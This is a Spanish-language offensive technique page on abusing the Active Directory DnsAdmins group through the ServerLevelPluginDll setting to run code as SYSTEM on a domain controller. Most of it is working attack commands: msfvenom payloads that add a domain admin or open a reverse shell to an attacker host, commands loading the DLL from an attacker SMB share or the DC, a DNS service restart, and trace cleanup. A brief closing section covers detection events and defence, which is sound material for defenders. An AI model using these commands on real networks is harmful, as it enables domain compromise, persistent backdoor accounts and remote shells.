DnsAdmins Abuse (ServerLevelPluginDll)
El grupo DnsAdmins parece inofensivo, pero pertenecer a él permite ejecutar código como SYSTEM en el servidor DNS, que en la mayoría de dominios es el propio controlador de dominio. Es uno de los abusos de grupo privilegiado más rentables de Active Directory.
En qué se basa. La gestión del servicio DNS de Windows expone la opción ServerLevelPluginDll: una DLL de complemento que el servicio carga al arrancar. Un miembro de DnsAdmins puede apuntar esa opción a una DLL arbitraria (incluso en un recurso SMB remoto); al reiniciar el servicio, su DllMain se ejecuta con los privilegios del servicio, es decir, SYSTEM.
Cómo se ejecuta. Se genera una DLL con la acción deseada, se fija el plugin apuntando a ella y se reinicia el servicio DNS.
Generar la DLL
# Anadir al usuario a Domain Admins
msfvenom -p windows/x64/exec cmd='net group "Domain Admins" <user> /add /domain' -f dll -o evil.dll
# Anadir un administrador local nuevo
msfvenom -p windows/x64/exec cmd='net user pwn Passw0rd123! /add /domain && net group "Domain Admins" pwn /add /domain' -f dll -o evil.dll
# Reverse shell como SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f dll -o evil.dllTambién sirve la mimilib.dll de mimikatz (pensada para registrar cada consulta DNS, se puede reutilizar).
Fijar el plugin y reiniciar
La DLL puede vivir en un recurso SMB del atacante o subida al propio DC. Tres formas de fijar el valor:
# Con dnscmd (RSAT), remoto o local
dnscmd <DC> /config /serverlevelplugindll \\<lhost>\share\evil.dll
dnscmd 127.0.0.1 /config /serverlevelplugindll C:\Windows\Temp\evil.dll
# Directamente en el registro
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /t REG_SZ /d C:\Windows\Temp\evil.dll /f
# Con PowerShell
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -Value C:\Windows\Temp\evil.dllReiniciar el servicio para que cargue la DLL (necesita SeRestartServicePrivilege o esperar a un reinicio):
sc.exe \\<DC> stop dns; sc.exe \\<DC> start dns
Restart-Service DNS -ForceVerificar y limpiar
dnscmd <DC> /info /serverlevelplugindll
Get-DnsServerSetting -All | Select-Object ServerLevelPluginDll
# Borrar el valor para no dejar la DLL cargandose de forma persistente
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /fRequisitos. Pertenencia a DnsAdmins y capacidad de reiniciar el servicio DNS (con SeRestartServicePrivilege o esperando a un reinicio). Tras la ejecución conviene limpiar el valor del plugin para no dejar la DLL cargándose de forma persistente.
Cómo detectarlo. Auditar la escritura del valor de registro ServerLevelPluginDll en HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters (Event ID 4657, se modificó un valor del registro), los reinicios del servicio DNS (Event ID 7036) y la carga de una DLL no firmada por dns.exe. Cualquier cambio de la pertenencia a DnsAdmins (4728/4732) debe revisarse.
Defensa. Tratar DnsAdmins como un grupo Tier-0 (equivalente a Domain Admins), reducir sus miembros al mínimo y vigilar el valor ServerLevelPluginDll. Relacionado con otros abusos de permisos y grupos privilegiados y con PrintNightmare, que también carga una DLL como SYSTEM en el DC.